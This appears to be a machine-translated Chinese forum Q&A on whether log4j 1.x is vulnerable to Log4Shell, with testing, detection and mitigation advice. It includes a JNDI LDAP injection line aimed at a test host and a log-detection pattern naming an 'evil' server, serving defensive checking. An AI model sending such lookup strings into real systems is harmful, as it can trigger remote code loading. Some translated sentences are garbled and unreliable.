请检查此问题：log4j-vulnerability - Is log4j1.2.17 vulnerable (was unable to find any jndi code in source)?
更新（日本标准时间2021年12月12日10：09）：根据@TopStreamsNet的分析，严格地说，如果使用Log4j1.x的应用程序的配置使用JNDI，它们可能会受到影响，但是，风险要低得多。请注意，log4j 1. x已停止使用，并且存在其他无法修复的安全漏洞。因此，我们不建议使用log4j 1. x来避免此安全漏洞。建议升级到2. 15。0.
和this：
https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301 log4j 1.x版本仍然容易受到此问题的攻击，但仅当jms配置为：TopicBindingName 或 TopicConnectionFactoryBindingName 设置为JNDI可以处理的内容-例如“ldap：//host：port/a”。这样，JNDI将执行与2.x完全相同的操作。也就是说，1.x存在漏洞，只是攻击向量“更安全”，因为它依赖于配置而不是用户输入。
是否有测试漏洞的示例代码？
您可以使用此在线工具来测试您应用程序：https://log4shell.huntress.com/
如果您要测试的应用程序具有以下漏洞，只需将此行添加到该应用程序中：

logger.error("${jndi:ldap://log4shell.huntress.com:1389/<your-unique-identifier-from-log4shell.huntress.com>}");

然后运行服务器，并通过单击“查看连接”来检查是否向该工具发送了请求。
您还可以使用以下python脚本测试该漏洞：
https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
如果已经发生攻击，请检查日志：
https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
或者在日志中检查包含${jndi:ldap:或仅包含${jndi:的字符串，如下所示：

${jndi:ldap://<some_evil_server.com/evil-code.class...}

下面是一个具有此漏洞的示例Java应用程序：
https://github.com/0x0021h/apache-log4j-rce
我测试了它，在运行的应用程序的日志中，我没有看到很多有趣的事情：

但是在我的另一个运行在127.0.0.1:8080上的服务器上，我看到出现了以下日志，因此日志语句触发了一个http请求（我还使用www.example.com工具进行了测试log4shell.huntress.com，连接出现在那里）：

16:48:44.338 [http-nio-8080-exec-1] INFO  o.a.coyote.http11.Http11Processor - Error parsing HTTP request header
 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [00x0c0x020x010x01`0x070x020x010x030x040x000x800x00...]. HTTP method names must be tokens
    at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:419)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:269)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1723)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
    at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.base/java.lang.Thread.run(Thread.java:834)

否，该漏洞是Log4j 2的一个特殊功能，称为“查找”。
每一个以${xxx:yyy}形式进入日志引擎的序列都会被解析和处理，即使它是来自用户的输入，即使该输入被注入到异常消息中--例如，如果你记录堆栈跟踪，而异常是解析异常。
通过将记录器输入输入到解析器中，而不使用沙箱，他们引入了一个新的攻击面，该攻击面尖叫着要被利用，这最终发生了。
根据log4j 2团队的说法，可以通过在java命令中附加参数来关闭这个设计不良的特性：

-Dlog4j2.formatMsgNoLookups=true

其他框架，不包含这样疯狂的功能，不受影响，希望他们都将得到安全审计。
原来的Log4j项目已经不支持了，原来的开发人员已经启动了Logback项目，所以如果要切换到Log4j，需要进行Logback。